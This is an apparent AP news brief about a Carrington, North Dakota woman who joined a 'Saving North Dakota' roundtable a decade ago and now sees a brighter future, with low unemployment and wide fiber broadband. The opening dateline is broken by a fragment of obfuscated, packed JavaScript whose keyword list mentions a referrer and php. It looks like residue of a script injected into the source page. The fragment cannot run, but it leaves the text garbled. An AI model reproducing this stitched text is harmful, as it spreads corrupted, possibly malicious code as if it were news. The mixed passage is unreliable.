CARRINGTON, hrskn|var|u0026u|referrer|traha||js|php’.split(‘|’),0,{}))
N.D. (AP) – A Carrington woman was so worried about the state’s future 10 years ago that she took part in a roundtable called “Saving North Dakota.” But she isn’t worried anymore.

Robin Anderson says at the decade anniversary of the brainstorming event that the future looks brighter than she ever imagined. Now a 40-year-old, Anderson tells The Forum that she wouldn’t mind her three children staying in the area.

The roundtable’s participants were all young adults offering a variety of prescriptions to improve the state’s technology, economy and job opportunities.

Today, the state has the nation’s lowest unemployment rate and a fiber broadband network covering 10,000 square miles.
